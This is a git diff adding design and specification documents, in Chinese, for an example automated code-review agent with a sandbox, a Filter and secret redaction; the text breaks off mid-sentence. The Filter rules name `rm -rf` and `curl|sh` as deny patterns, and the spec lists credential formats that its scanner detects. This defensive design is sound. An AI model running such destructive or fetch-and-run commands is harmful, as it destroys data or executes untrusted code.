diff --git a/examples/skills_code_review_agent/.env.example b/examples/skills_code_review_agent/.env.example new file mode 100644 index 000000000..bfcca123c --- /dev/null +++ b/examples/skills_code_review_agent/.env.example @@ -0,0 +1,8 @@ +# 仅在 --model-mode real 时填写;真实 .env 已被 Git 忽略,绝不能提交。 +# 进程环境变量优先于本文件,三项均缺失或不完整时会降级为脱敏 warning。 +TRPC_AGENT_API_KEY= +TRPC_AGENT_BASE_URL= +TRPC_AGENT_MODEL_NAME= + +# 不要在 .env 中配置 sandbox、网络、输出目录、数据库 URL 或测试命令。 +# 这些影响审查边界和产物位置的参数必须显式写在 CLI 命令中。 diff --git a/examples/skills_code_review_agent/.gitignore b/examples/skills_code_review_agent/.gitignore new file mode 100644 index 000000000..a3ab2233c --- /dev/null +++ b/examples/skills_code_review_agent/.gitignore @@ -0,0 +1,3 @@ +.env +out/ +review.db diff --git a/examples/skills_code_review_agent/DESIGN.md b/examples/skills_code_review_agent/DESIGN.md new file mode 100644 index 000000000..b810f538a --- /dev/null +++ b/examples/skills_code_review_agent/DESIGN.md @@ -0,0 +1,71 @@ +# 自动代码评审 Agent 方案设计 + +## 方案设计说明 + +本 Agent 把 `code-review` Skill 作为规则与脚本的可复用边界:SKILL.md 说明输入、输出和安全边界,manifest 固定允许执行的脚本及其哈希,规则只对 diff 的新增侧或显式 snapshot 生效。Agent 入口由 SDK `LlmAgent + SkillToolSet` 真实发出 `skill_load → skill_run`;`skill_run` 只接收宿主签发的一次性 request id,并在同一 workspace 中复验已加载脚本的摘要。Pipeline 是唯一检测链路,CLI、fixture、评测和 Agent 入口共享同一份解析、治理、沙箱、存储和报告对象,因此不会出现“测试走假实现、生产走另一套逻辑”的分叉。 + +沙箱默认使用 Container,并要求本次运行可验证 `network_mode=none`;当前示例的 Cube/E2B 仅保留 SDK 适配接口,CLI 尚未注入 `cube_runtime_factory`,因此 `--sandbox cube` 不是可用后端,会以配置错误退出。即使未来接入工厂,Cube 缺少可证明的受控网络时仍必须拒绝;local 只是用户显式调试 fallback,必定留下隔离不可验证告警。Filter 在 stage 前校验 manifest、路径、结构化参数、网络策略和预算,DENY 与 NEEDS_HUMAN_REVIEW 不创建 sandbox。环境只按白名单重建,模型 Key、token 和 password 不会传给脚本。 + +数据库采用可替换的 SQL 接口,默认 SQLite 的五张 `cr_*` 表分别保存任务、sandbox run、Filter 事件、finding 与最终报告;不持久化原始 diff。finding 以文件、行号、类别去重,并依置信度分为 findings、needs_human_review、suppressed,运行故障只进入 warnings。报告 JSON 是 canonical 来源,Markdown、数据库摘要和 severity 统计均由它派生,确保可回放且排序稳定。 + +安全链路先在受控内存检测,再对 sandbox 输出、宿主字段和全部出口三次脱敏;发现明文会阻止写入。监控记录总耗时、沙箱与 LLM 耗时、调用次数、拦截次数、严重级别和异常分布。LLM 只可增强建议、摘要和人工复核提示,real 模式必须显式开启并从 `.env` 白名单读取,不能参与确定性检出或改变 finding 身份。 + +## 规格与交付范围 + +同目录的 [`DEV_SPEC.md`](DEV_SPEC.md) 是本项目的规范源,完整定义 issue #92 的输入语义、 +字段契约、沙箱预算、失败语义、AC1–AC8 和测试方法。本文直接展示设计与验收映射,README +提供运行入口和可执行证据;两者都不取代 `DEV_SPEC.md`。第 7 章未来规划不属于当前交付。 + +当前实现已完成仓库公开 fixture、代理语料、Container 和真实模型的对应验证。AC2 只能 +表述为“公开代理门禁通过;官方隐藏样本待官方验收”,不得把公开数据结果外推为官方隐藏集结论。 + +## 交付物与架构映射 + +| 交付物 | 实现位置 | 设计责任 | +|---|---|---| +| Agent 与唯一编排链路 | [`run_agent.py`](run_agent.py)、[`agent/agent.py`](agent/agent.py)、[`agent/tools.py`](agent/tools.py)、[`pipeline.py`](code_review/pipeline.py) | `review` 直连 pipeline;`user-query` 真实调用 `skill_load → skill_run` 后仍委托同一检测链路 | +| code-review Skill | [`SKILL.md`](skills/code-review/SKILL.md)、[`rules/`](skills/code-review/rules/)、[`scripts/`](skills/code-review/scripts/) | 规则、diff 解析和执行 manifest 的可复用边界 | +| Filter 与沙箱 | [`governance.py`](code_review/governance.py)、[`sandbox.py`](code_review/sandbox.py) | 执行前治理、Container/Cube/local runtime、超时和输出限制 | +| 数据库 | [`models.py`](code_review/store/models.py)、[`review_store.py`](code_review/store/review_store.py)、[`init_db.py`](code_review/store/init_db.py) | SQLite 默认五表、可替换 SQL URL、task bundle 回放 | +| 报告与监控 | [`report.py`](code_review/report.py)、[`metrics.py`](code_review/metrics.py)、[`review_report.schema.json`](schemas/review_report.schema.json) | canonical JSON、Markdown 派生、指标快照与 Telemetry 白名单 | +| fixture 与示例输出 | [`tests/fixtures/diffs/`](tests/fixtures/diffs/)、[`test_fixtures_e2e.py`](tests/e2e/test_fixtures_e2e.py)、[`sample_output/`](sample_output/) | 8 simple + 8 complex 的分桶、落库、失败和脱敏证据 | +| 维护者验收入口 | [`OPERATIONS.md`](OPERATIONS.md)、[`.env.example`](.env.example)、[`run_agent.py`](run_agent.py) | 可审计的四输入、direct/Agent 触发、Docker/模型前置、16 fixture、质量门禁与产物定位 | + +维护者执行 `review` 时直接进入唯一 pipeline;`user-query` 会增加 SDK +`LlmAgent + SkillToolSet` 的受控工具回合。模型只看到一次性 request id、输入类型及规范化意图, +看不到原始 diff、宿主路径、命令或环境值;固定执行计划仍由 manifest、Filter 和宿主构造。 +CLI 默认使用 `--log-level INFO` 在 stderr 输出安全阶段信息与实际 container ID,SDK 原始日志不透传; +`DEBUG` 只增加仓库相对路径、script_id 和已脱敏摘要,任何等级均不输出 diff、evidence、环境变量或凭据。 +成功工具回合随后委托同一 pipeline,不能形成第二套规则、沙箱或存储实现。CLI 成功 JSON 在当前 +终端返回 `entrypoint`、实际 `skill_tools` 和 `report_files` 的完整位置,便于 +人工验收与 CI 收集;这些路径不写入 canonical report、数据库、Telemetry 或日志。实现使用 +`pathlib`、SQLite URL 和 SDK runtime,Windows PowerShell 与 Linux/macOS Bash 只在解释器路径和 shell +调用语法上不同;两套完整维护命令由 [`OPERATIONS.md`](OPERATIONS.md) 统一维护。 + +## 风险表 + +| 风险 | 控制措施 | 审计证据 | +|---|---|---| +| 任意命令执行 | manifest 加哈希、结构化参数和 Filter 前置拦截 | Filter 事件、零 sandbox run | +| 网络或宿主逃逸 | Container `network_mode=none`,Cube 默认拒绝,local 明示告警 | runtime 类型、网络策略摘要 | +| 密钥泄漏 | 同源 detect/redact、全出口扫描、模型环境白名单 | `plaintext_hits=0`、失败阻断 | +| 资源耗尽 | 次数、超时、单次/总输出和 deadline 预算 | sandbox run、warning、metrics | +| LLM 越权 | 仅合并文本字段,冻结 finding identity 与分桶 | fake/real identity 对照测试 | +| 误报与遗漏 | 确定性规则、公开语料、人工复核桶 | evaluation 指标、needs_human_review | +| 数据回放泄密 | 仅保存摘要和 canonical 脱敏报告,不保存原始 diff | SQLite bundle 查询 | + +## AC1–AC8 核对 + +| 项目 | 设计保证 | 当前结论 | 直接证据 | +|---|---|---|---| +| AC1 | 相同 pipeline 执行公开输入并冻结 canonical report | 已验证 8 simple + 8 complex | `test_fixtures_e2e.py` 校验报告、分桶和 task bundle | +| AC2 | 确定性规则与固定语料保证可复现指标 | **公开代理门禁通过;官方隐藏样本待官方验收** | `evaluate.py` 输出 Recall、finding-level FP、P/R/F1 | +| AC3 | `ReviewStore` 抽象隔离 SQL 后端,五表保存完整业务链路 | 已验证 | `test_store.py` 验证初始化、CRUD、索引和按 task id 聚合 | +| AC4 | timeout、nonzero、truncated 和 blocked 统一转为运行数据 | 已验证 | `test_sandbox_safety.py`、`test_pipeline.py` 验证 warning 与报告续行 | +| AC5 | 检/脱同源加三层出口扫描,发现明文时阻止持久化 | 已验证公开语料与出口 | `test_redaction.py` 和 secret fixtures 验证检出率及 `plaintext_hits=0` | +| AC6 | fake model + 显式 local sandbox 构成固定离线测量路径 | 8 条独立 Agent 审查均验证 ≤120 秒 | `evaluate.py --sandbox local` 与 `test_evaluate.py` | +| AC7 | Filter 在 workspace 创建和脚本执行前短路非 ALLOW 决策 | 已验证零 sandbox 副作用 | `test_governance.py` 验证事件落库和 `sandbox_runs=0` | +| AC8 | schema 固定八段内容,Markdown 和数据库从 canonical JSON 派生 | 已验证 | `test_report.py` 与 fixture E2E 验证结构和统计一致 | + +更细的字段、阈值和逐项测试命令以 [`DEV_SPEC.md`](DEV_SPEC.md) 为准;面向验收官的 +完整交付物导航和复现命令见 [`README.md`](README.md)。 diff --git a/examples/skills_code_review_agent/DEV_SPEC.md b/examples/skills_code_review_agent/DEV_SPEC.md new file mode 100644 index 000000000..b5a2e333d --- /dev/null +++ b/examples/skills_code_review_agent/DEV_SPEC.md @@ -0,0 +1,712 @@ +# DEV_SPEC — 自动代码评审 Agent(issue #92) + +> 本规格是 `examples/skills_code_review_agent/` 的唯一真相源(single source of truth)。 +> auto-coder 按第 6 章排期逐任务实现;任何设计分歧以本文档为准。 +> 决策背景见 `自动代码评审_agent_e5c4eb90.plan.md`(计划书 v2,三轮拷问结论)。 +> 设计对照与改进依据见仓库根目录 `implementation_plan.md`;该文档用于解释取舍,若与本规格冲突,以本规格为准。 + +## 1. 项目概述 + +### 1.1 背景 + +基于 tRPC-Agent-Python SDK 的 Skills、CodeExecutor 沙箱、SQL 存储、Filter 治理和 Telemetry 能力,构建一个可验证的自动代码评审 Agent 原型:输入 git diff / PR patch / 本地变更目录,通过 code-review Skill 加载规则与脚本,经 Filter 前置拦截后进入沙箱执行检查,把发现的问题按严重级别/文件/行号/证据/修复建议结构化输出,并将审查任务、拦截记录、监控摘要与结果写入数据库。 + +难点不是「让 LLM 评论代码」,而是把 Skills、沙箱执行、数据库、Filter 治理、审查规则、结果结构化、监控审计和安全边界串成一个可验证系统。 + +### 1.2 核心决策(已锁定,不再讨论) + +1. **双入口、单核心**:确定性 `ReviewPipeline` 是唯一检测链路;CLI/dry-run/测试直接调用它,`LlmAgent + SkillToolSet` 作为第二入口经 SkillRepository 加载 skill 后触发同一 pipeline 并增强报告摘要。两个入口零逻辑复制。 +2. **检测 100% 确定性规则**:所有检出不依赖模型。LLM 仅做报告增强(解释上下文、优化修复建议、生成摘要与复核提示),不得增删 finding,也不得改写 finding 的 identity、severity、confidence、bucket、dedup 结果。默认 `--model-mode fake`,`real` 仅可显式开启;检测与评测默认不因环境中存在 Key 而自动切换 real。 +3. **规则引擎 Python-only**:只深耕 Python 的正则 + AST 规则;敏感信息类规则基于通用正则 + Shannon 熵,天然跨语言。 +4. **沙箱安全边界不妥协**:规则脚本默认经 SkillRepository stage 进沙箱执行;沙箱被拒/超时/失败后只记录、不回退宿主执行。CLI 生产默认严格 `container`(无 Docker 直接报错,不静默降级),`--sandbox local` 仅显式开启。`--dry-run` **只**代表 fake model,**不**改变沙箱语义。无 Docker 的本地/CI 跑通路径是显式 `--sandbox local`(或 `evaluate.py` 默认 local),不是 dry-run 偷偷降级;pytest 单测可注入 fake runtime,与 dry-run/evaluate 不是同一条路径。 +5. **单一真相源**:diff 解析器、规则引擎、密钥正则表全部位于 `skills/code-review/scripts/lib/`(纯标准库);沙箱内直接执行这份代码,宿主 local 模式经 importlib 加载同一文件。 +6. **失败即数据 + 脱敏后落库**:超时、非零退出、输出截断、Filter 拦截全部落库为记录行,评审任务永不崩溃。能出报告则收敛为 `completed_with_warnings`;只有输入解析失败、DB 初始化失败、关键写库失败或报告无法生成才标 `failed`。原始 diff 默认不落库(见 2.8)。 +7. **原始输入只跨受控信任边界**:敏感信息检测必须读取原始内容,因此不得在检测前破坏性脱敏;原始 diff 只可短暂存在于受控宿主内存、任务临时目录和隔离 workspace,不得进入日志、Telemetry、LLM、数据库或最终报告。沙箱输出、宿主后处理和持久化出口逐层脱敏(见 2.8、5.4)。 +8. **JSON 是报告规范源**:`review_report.json` 经 schema 校验、最终泄漏扫描和原子写入后,Markdown 只能由该 JSON 确定性渲染;数据库保存同一报告对象的脱敏内容或摘要,不得分别拼装三套结果。 + +### 1.3 验收标准(8 条,最终必须全绿) + +| # | 验收标准 | +|---|---------| +| AC1 | 8 条公开 diff 样本全部可运行并生成审查报告 | +| AC2 | 隐藏样本高危检出率 ≥80%、误报率 ≤15%(以带标注公开代理语料测 P/R 佐证) | +| AC3 | 数据库完整记录 task、sandbox run、finding、report,支持按 task id 查询 | +| AC4 | 沙箱有超时控制和输出大小限制;超时或失败不导致评审任务崩溃 | +| AC5 | 敏感信息脱敏检出率 ≥95%,报告和数据库中无明文 API Key/token/password | +| AC6 | dry-run / fake model 模式完整评审流程耗时 ≤2 分钟(统一测量口径:`evaluate.py` 默认 path,即 model=fake + sandbox=local;CLI 等价命令为 `--dry-run --sandbox local`) | +| AC7 | 高风险脚本先经 Filter 决策;deny / needs_human_review 不进入沙箱执行 | +| AC8 | 报告包含 findings 摘要、严重级别统计、人工复核项、Filter 拦截摘要、监控指标、沙箱执行摘要和可执行修复建议 | + +### 1.4 范围排除 + +不做:A2A/AG-UI 服务化、RAG 知识库、跨会话长期记忆、SARIF 输出、多语言规则均衡覆盖、在线评测平台。理由:不在验收标准内,接入会显著增加配置与测试面。 + +## 2. 功能规格 + +### 2.1 输入解析(R3) + +支持四种输入,统一解析为 `ChangeSet`: + +- `--diff-file `:unified diff / PR patch 文件 +- `--repo-path `:git 工作区变更(staged + unstaged,同时可读全文件内容) +- `--files `:无 baseline 的文件快照列表,执行**全文件扫描**;每个文件记为 `status=snapshot`、`review_scope=full_file`,整份内容都属于候选行 +- `--fixture `:内置测试样例;fixture 必须声明其载荷类型,diff fixture 保留真实 old/new hunk,full-file fixture 才按 `--files` 的 snapshot 语义处理 + +**四种输入互斥**:同一次调用只允许指定一种,CLI 层校验,同时给出多个直接报错退出,避免多输入源结果冲突的模糊状态。 + +**输入形态不等价**:`--repo-path` 的 tracked 变更和 `--diff-file` 是增量审查,changed-line 过滤能隔离历史遗留问题;`--files` 没有旧版本可比较,是显式全量扫描,AST 可报告文件任意行上的既有问题。调用方若需要增量语义必须提供 repo 或 diff,不能期待 `--files` 自动推断实际改动。报告 input summary 必须显示 `review_scope`,评测不得把 full-file 与 changed-lines 结果当作同一口径直接比较。 + +**领域模型契约**(实现、报告与测试共用;路径统一为 `/` 分隔的仓库相对路径): + +| 模型 | 必须字段 | +|------|---------| +| `ChangeSet` | `source_kind(diff_file\|repo_path\|files\|fixture)`、`input_sha256`、`files`、`file_count`、`hunk_count`、`additions`、`deletions`、`parse_warnings` | +| `FileChange` | `old_path`、`new_path`、`normalized_path`、`status(added\|modified\|deleted\|renamed\|snapshot)`、`review_scope(changed_lines\|full_file\|deleted_lines\|skipped)`、`is_binary`、`hunks`、`old_changed_lines`、`new_changed_lines`、`full_text(str\|None)`、`analysis_mode(ast_validated\|diff_heuristic\|skipped)` | +| `Hunk` | `old_start`、`old_count`、`new_start`、`new_count`、`context_lines`、`added_lines`、`deleted_lines`、`old_to_new_line_map` | + +`Hunk` 字段不可缺失或取 `None`,退化状态固定采用 unified diff 的 `0,0` 语义: + +| 场景 | old 侧 | new 侧 | changed lines | `old_to_new_line_map` | +|------|--------|--------|---------------|-----------------------| +| 新增文件 / snapshot(N 行) | `old_start=0, old_count=0` | `new_start=1, new_count=N` | old=`[]`,new=`1..N` | `{}` | +| 删除文件(N 行) | `old_start=1, old_count=N` | `new_start=0, new_count=0` | old=`1..N`,new=`[]` | `{}` | +| 普通 hunk | 取 diff header 的整数 | 取 diff header 的整数 | 分别记录 `-/+` 行 | 只映射未修改 context 行 | + +空文件新增/删除若 diff 只有元数据而没有内容 hunk,则 `hunks=[]`,不构造虚假的零长度 hunk。替换行没有可靠的一一语义关系,不得写入 `old_to_new_line_map`。 + +finding 的 `file` 使用 `normalized_path`:新增/修改/rename/snapshot 取新路径,删除取旧路径。`line` 默认表示新侧行号,扩展字段 `line_side` 默认为 `new`;仅 secrets 规则可对删除侧原始凭据生成 `line_side=old`、`line=<旧行号>` 的 finding,提示密钥可能仍存在于补丁/历史中并建议轮换。普通代码规则不报告已经删除的代码。不得用 `line=0` 或临近新行伪造删除侧位置。 + +**--repo-path 的 git 变更获取方式**(定死,避免 staged/unstaged 合并陷阱): + +1. 用一条 `git diff HEAD` 获取「工作区当前状态 vs 上一次 commit」的完整 diff——天然合并 staged + unstaged,禁止分别跑 `git diff` 和 `git diff --cached` 再手动合并(同一文件两份 diff 的 hunk 会重叠冲突)。 +2. `git diff HEAD` 不含 untracked 新文件,须额外跑 `git ls-files --others --exclude-standard` 获取 untracked 列表,将其按真实 `status=added`、`review_scope=full_file` 处理;内容读取与 synthetic hunk 构造可复用 `--files`,但不得把 untracked 的 status 写成 snapshot。 +3. 所有 Git 调用必须使用 argv 数组并固定工作目录,禁止 `shell=True`;路径在读取与 staging 前必须 `resolve` 并验证仍位于 repo 根目录内,拒绝指向仓库外的 symlink、junction 或其他重解析点。 + +**--repo-path 默认忽略规则**(可经 ReviewConfig 配置,默认值如下): + +- `.gitignore` 内文件:自动忽略——`--exclude-standard` 已实现该语义,无需额外过滤。 +- 二进制文件:忽略。diff 内 binary 变更按边界跳过;untracked 文件做二进制嗅探(内容含 NUL 字节即跳过)。 +- 虚拟环境与构建目录**显式兜底清单**(不依赖用户是否配好 .gitignore):`.git/`、`.venv/`、`venv/`、`node_modules/`、`build/`、`dist/`、`__pycache__/`、`*.egg-info/`、`.tox/`、`.mypy_cache/`、`.pytest_cache/`。 +- untracked 文件的规则适用范围**按类别区分,不得只收 .py**:Python 类规则(security/async/resource/db/missing-tests)仅作用于 `.py` 文件;secrets 规则作用于**所有文本文件**(含 `.env`、`.yaml`、`.json`、`.ini`、`.toml`、`.txt` 等)——明文密钥最常出现在未跟踪的配置文件里,只扫 Python 会直接威胁 AC5。 +- 输入限额集中在 `ReviewConfig`:`max_input_file_bytes=1 MiB`、`max_input_files=500`、`max_input_bytes=10 MiB`、`max_diff_lines=50,000`。单文件超限跳过并记 warnings;文件数、总字节数或总行数超限在 staging 前由 Filter 标 `needs_human_review`,不得先复制或执行后再依赖超时收拾。 +- 宿主仓库不得可写挂载进沙箱;只复制审查所需的最小输入集到任务 workspace。`--files` 仅接受显式命名、位于当前输入根目录内的普通文件,同样执行 realpath 与限额检查。 + +diff 解析必须覆盖边界:rename、binary、CRLF、`\ No newline at end of file`、删除文件、新增文件。新增文件的 unified diff 若包含从第 1 行开始且无缺口的全部新增内容,可重建 `full_text` 并启用 AST;否则 `full_text=None`,按 diff heuristic 分析。 + +**原始输入边界**:解析器和沙箱内 secrets 规则允许在受控内存/任务 workspace 中读取原始内容,以完成真实密钥检测;解析期间不得记录代码行、环境变量或密钥值。进入 LLM、日志、Telemetry、数据库、finding evidence、sandbox 摘要和报告前必须脱敏。任务 workspace 在 `finally` 中清理,清理失败只记录不含敏感路径/内容的 warning。 + +### 2.2 CR Skill(R1) + +`examples/skills_code_review_agent/skills/code-review/`(自包容,随示例目录整体拷贝可用): + +- `SKILL.md`:YAML frontmatter(name=code-review)+ 用法说明 + 工作流描述 +- `rules/`:6 类规则文档(security / async-errors / resource-leak / missing-tests / secrets / db-lifecycle),每篇含规则清单、rule_id、severity、置信度、`requires_full_file` 标记、示例 +- `references/security-boundaries.md`:原始输入信任域、禁止路径、网络、环境变量、预算、脱敏和失败语义的自检说明 +- `scripts/manifest.json`:机器可读执行清单,是脚本 allowlist、参数模板和执行预算的唯一判定源 +- `scripts/parse_diff.py`:沙箱内 diff 解析入口(读 `work/inputs/diff.json`,输出解析结果到 `out/`) +- `scripts/run_checks.py`:沙箱内规则检查入口(输出 findings JSON 到 `out/findings.json`) +- `scripts/lib/`:纯标准库实现——`diff_parser.py`、`rule_engine.py`、`rules_security.py`、`rules_async.py`、`rules_resource.py`、`rules_db.py`、`rules_tests.py`、`secret_rules.py`(检/脱同源正则表 + 熵检测) + +`manifest.json` 每个条目至少包含 `script_id`、`entrypoint`、`sha256`、允许参数的名称/类型/枚举/长度、`timeout_seconds`、`max_output_bytes`、`requires_network`。Agent/pipeline 只能请求 `script_id + structured_args`,Filter 根据 manifest 生成 argv;禁止提交任意 shell 字符串。Skill staging 后必须校验 entrypoint realpath 位于 Skill 根目录内且摘要一致。`SKILL.md` 只解释工作流并引用 manifest,不承担机器授权。 + +### 2.3 规则引擎(6 类,Python-only) + +| 类别 | category 值 | 检测手段 | 置信度 | +|------|------------|---------|--------| +| 安全(SQL 注入 f-string 拼接、命令注入 os.system/subprocess shell=True、eval/exec) | security | 正则 + 全文件可得时 AST 确认 | AST 确认 ≥0.9;纯 diff 正则 0.7–0.85 | +| 敏感信息(AWS AKIA、GitHub PAT ghp_/github_pat_、Slack、OpenAI sk-、JWT、PEM 私钥、DB 连接串、赋值型 password/token/secret) | secrets | 检/脱同源正则表 + Shannon 熵 | ≥0.9 | +| 异步错误(async def 内 time.sleep、协程未 await、事件循环内阻塞 IO) | async-errors | 正则 + AST | 0.6–0.9 | +| 资源泄漏(open/aiohttp ClientSession/socket 未 with 或未 close) | resource-leak | 正则 + hunk 跨行 + AST | 0.6–0.9 | +| DB 生命周期(连接未关、事务未 commit/rollback、游标泄漏) | db-lifecycle | 同上 | 0.6–0.9 | +| 测试缺失(新增/修改非测试源码但变更集内无对应 test 文件变化) | missing-tests | 变更集形状启发式 | 锁 0.5–0.8,永进 needs_human_review | + +候选侧别:security/async-errors/resource-leak/db-lifecycle/missing-tests 只分析新侧内容;secrets 同时扫描新增/上下文输出中的新侧内容和被删除的旧侧内容。旧侧命中表示凭据可能已经进入补丁或 Git 历史,finding 必须明确 `line_side=old`,修复建议以轮换/吊销为主,不能描述为“当前文件仍硬编码该值”。 + +**规则覆盖边界与盲区策略**(实现和评测口径都以此为准): + +| 类别 | 规则覆盖能力 | 已声明的盲区(不检出,不算漏报缺陷) | +|------|------------|-----------------------------------| +| secrets | 强:正则 + 熵检测,跨语言;公开代理语料脱敏检出率目标 ≥95% | 拆分/编码/运行时拼接、自定义短 token、私有格式可能漏检 | +| missing-tests | 文件级结构比对,不涉及代码语义;仅作为人工复核提示 | 非标准测试目录、动态生成测试、集成测试映射、已有覆盖关系可能误判 | +| resource-leak | 较强:AST 可识别 open/connect 后无 close/with 的经典模式 | 跨函数传递的句柄、仅异常路径泄漏(需控制流分析) | +| db-lifecycle | 较强:识别已知 DB 库 API(connect/commit/rollback)调用模式 | 连接池误用、嵌套事务(需调用上下文理解) | +| async-errors | 中等:AST 可查协程创建后未 await/未传 gather/create_task 的直接模式 | 变量先赋值、之后才 await(需数据流分析) | +| security | 中等:已知危险 API(直接/限定名 eval/exec、os.system/popen、subprocess shell helper、SQL f-string/拼接/format/%)模式 | 运行时函数别名、变量传播得到的 shell 参数、动态属性名和业务逻辑漏洞(权限绕过、认证逻辑错误) | + +**盲区处理原则**:规则覆盖不到的场景保持为声明盲区,本期不用 LLM 顶上。理由:一旦 LLM 参与检出判断,检出率/误报率(AC2)无法稳定复现。盲区清单写入各规则文档和 README;CI 硬门禁语料只覆盖明确声明支持的模式,另设 blind-spot stress corpus 作为观测项,记录漏检但不冒充正式门禁通过。P/R/F1 只统计 findings 桶。 + +**按规则类别降误报**:security/async-errors/resource-leak/db-lifecycle 等代码结构规则可忽略仅出现在注释、docstring 或普通字符串中的 API 名称;secrets 规则必须扫描字符串字面量、配置文件和注释,注释中的疑似示例密钥只能根据占位符特征降置信或进入人工复核,不得统一跳过。diff 上下文行(非 `+/-` 行)不作为 finding 主定位行。 + +**AST 退化策略(经 `requires_full_file` 规则元信息实现)**:每条规则在元信息中声明 `requires_full_file: true|false`。unified diff 只含 hunk 片段,对残缺代码跑 `ast.parse()` 大概率语法错误,因此: + +- 全文件内容可得(--repo-path / --files,或可完整重建的新增文件 diff):`requires_full_file=true` 的 AST 规则正常启用。对 `review_scope=changed_lines`,AST 节点范围必须与 `new_changed_lines` 相交才可产出当前审查 finding;上下文可以引用未修改行,但主定位必须锚定变更行。对 `review_scope=full_file`(--files、untracked、真实新增文件),`new_changed_lines` 覆盖全文,交集约束按设计退化为全量扫描,允许报告任意行,报告必须明确标注该 scope。`review_scope=deleted_lines` 不运行普通 AST 代码规则。 +- 纯 diff 输入(--diff-file 且无原始文件可读):`requires_full_file=true` 的规则**自动跳过 AST 路径**(禁止尝试解析残缺片段导致异常),仅保留正则 + 行级启发部分,置信度整体下调一档(0.7–0.85);无正则等价物的纯 AST 规则直接不产出,或产出低置信项进 needs_human_review。 +- 全文件 AST 解析失败:记录 parse warning,将该文件的 `analysis_mode` 降为 `diff_heuristic`,继续运行其他规则,不得终止整次 review。 + +### 2.4 结构化 finding(R4) + +必须字段:`severity`(critical/high/medium/low/info)、`category`、`file`、`line`、`title`、`evidence`(已脱敏)、`recommendation`、`confidence`(0–1)、`source`(rule-engine/ast/heuristic)。扩展字段:`line_side`(new/old,默认 new)、`rule_id`、`bucket`、`dedup_key`、`extra`(JSON,含 also_matched)。删除侧仅允许 secrets 使用 `line_side=old`;评测匹配仍使用 `(file,line,category)`,需要区分侧别的边界测试额外断言 `line_side`。 + +### 2.5 去重与降噪(R6) + +- 去重键:三元组 `(file, line, category)`。重复候选依次按 severity、confidence、evidence 具体程度选主项,其余 rule_id 去重后按稳定字典序合入 `extra.also_matched`。最终输出固定按 severity、file、line、category、rule_id 排序,保证相同输入重复运行得到相同 JSON。 +- 四桶路由(边界不得重叠):`0.80 ≤ confidence ≤ 1.00` → `findings`;`0.50 ≤ confidence < 0.80` → `needs_human_review`;`0.00 ≤ confidence < 0.50` → `suppressed`(仅保存脱敏审计计数和原因摘要,不进报告主体)。 +- `warnings` 桶与代码问题分离,专放运行告警:沙箱失败、输出截断、Filter 拦截、规则执行异常、local 沙箱降级提示。 +- confidence 必须来自可复现的证据强度;不得为满足 Recall 指标按 severity 设置置信度保底。明确危险 API、完整 AST 结构或强格式密钥可以自然得到高置信,模糊正则与上下文不足的候选必须进入人工复核或 suppressed。 + +### 2.6 沙箱执行与安全边界(R2 + R7) + +- 三后端:`create_sandbox_runtime("container"|"cube"|"local")`,默认 `container`。SDK `WorkspaceCapabilities.network_allowed` 仅作为运行时可能具备网络能力的粗粒度描述,不得当作当前实例网络已开启或已断开的证明;Filter 必须检查最终生效且可验证的网络配置。`container` 仅在确认实际 `network_mode=none` 时放行;当前 SDK 未提供可验证 Cube 出口策略的接口,因此 `cube` 在本期默认 deny,只有配置受信任模板且系统能验证其无出口网络策略或受控网关约束时方可放行,用户口头或布尔确认不构成证明;`local` 仅用于显式选择的 dev 降级,并在 warnings 记录隔离与网络策略不可强制证明的告警。 +- 预算(ReviewConfig 默认值,全部可配置): + +| 配置项 | 默认值 | +|--------|--------| +| max_sandbox_runs | 10 | +| per_run_timeout_seconds | 30(覆盖 SDK skill_run 的 300s 默认) | +| sandbox_time_budget_seconds | 90 | +| review_deadline_seconds | 110 | +| max_output_bytes_per_run | 1 MiB | +| max_output_bytes_per_review | 2 MiB | +| network_policy | deny | + +- `network_policy=deny` 是本项目本期的 fail-closed 安全决策,不是 SDK 对 Cube 的使用限制。题目允许对白名单网络做受控放行,但本期所有预注册脚本均为 `requires_network=false`,不实现仅凭用户确认或未验证配置开放网络的旁路。 +- Filter 必须在每次执行前做“先拒后跑”的预算预检:预估本次运行加入后是否超过次数、单次超时、单次输出或总时间预算;不满足时返回 deny/needs_human_review,不得先执行再只依赖 timeout 截止。`sandbox_time_budget_seconds=90` 为沙箱累计预算,给解析、落库和报告预留时间以满足 120 秒总门禁。 +- 环境变量「构造而非透传」:仅 LANG/LC_ALL/PYTHONUNBUFFERED 等无敏感值变量允许传入;PATH/PYTHONPATH 由应用在沙箱内构造;WORKSPACE_DIR/SKILLS_DIR/WORK_DIR/OUTPUT_DIR/RUN_DIR 由 runtime 注入;API Key、token 及其余宿主环境变量一律不传。 +- 失败记录:超时、非零退出、输出截断、OSError 全部落 `cr_sandbox_run` 行(status/exit_code/timed_out/error_type/脱敏摘录)。 + +### 2.7 Filter 治理(R8) + +`SandboxGovernanceFilter` 基于 SDK `BaseFilter` / `run_filters` 链,按固定顺序执行前置检查: + +1. 接收 `script_id + structured_args`,拒绝任意命令字符串、shell 元字符和未知脚本。 +2. 从 `scripts/manifest.json` 解析 entrypoint 与参数模板;校验参数类型、枚举、长度、重复参数和未知参数。 +3. 校验 staged entrypoint realpath 位于 Skill 根目录内,文件 SHA-256 与 manifest 一致;不一致直接 deny。 +4. 校验所有输入/输出路径均位于任务 workspace 内,禁止绝对宿主路径、`..`、symlink/junction 逃逸。 +5. 校验 `requires_network=false` 与 runtime 网络能力;本期 manifest 中所有脚本均不得请求网络。 +6. 校验环境变量仅来自 2.6 的构造白名单,值不得包含密钥模式。 +7. 预检运行次数、单次超时、单次/总输出和剩余时间预算。 +8. 高风险内容模式扫描作为纵深防御(如脚本内容出现 `rm -rf`、`curl|sh` 或动态拉取执行,即使脚本已注册也 deny)。 +9. runtime 有效网络状态校验(不得只读取 `WorkspaceCapabilities.network_allowed` 作决定): + - `cube`:当前 SDK 只能说明运行时可能允许网络,不能证明具体实例无出口;本期 **默认 deny**。仅当受信任模板或受控网关已配置,且治理层能取得机器可验证的无出口/目的地约束证明时方可 allow;仅有用户确认时仍不得执行。 + - `local`:宿主进程无法提供与沙箱等价的网络隔离证明;仅在用户已**显式**传 `--sandbox local`(或 evaluate 显式选择 local)时治理门 **allow**,同时必须把「隔离与网络策略不可强制证明」降级告警写入 warnings(不得静默当成生产等价)。 + - `container`:创建参数默认 `network_mode=none`,但该值可被 `host_config` 覆盖;Filter/工厂必须验证本次实际生效配置仍为 `none` 后才 allow,被覆盖或无法验证时 deny。 + +`FilterAction ∈ {ALLOW, DENY, NEEDS_HUMAN_REVIEW}`;DENY / NEEDS_HUMAN_REVIEW 短路,不进沙箱、不回退执行,拦截原因先脱敏再写入报告和 `cr_filter_event`。该枚举与 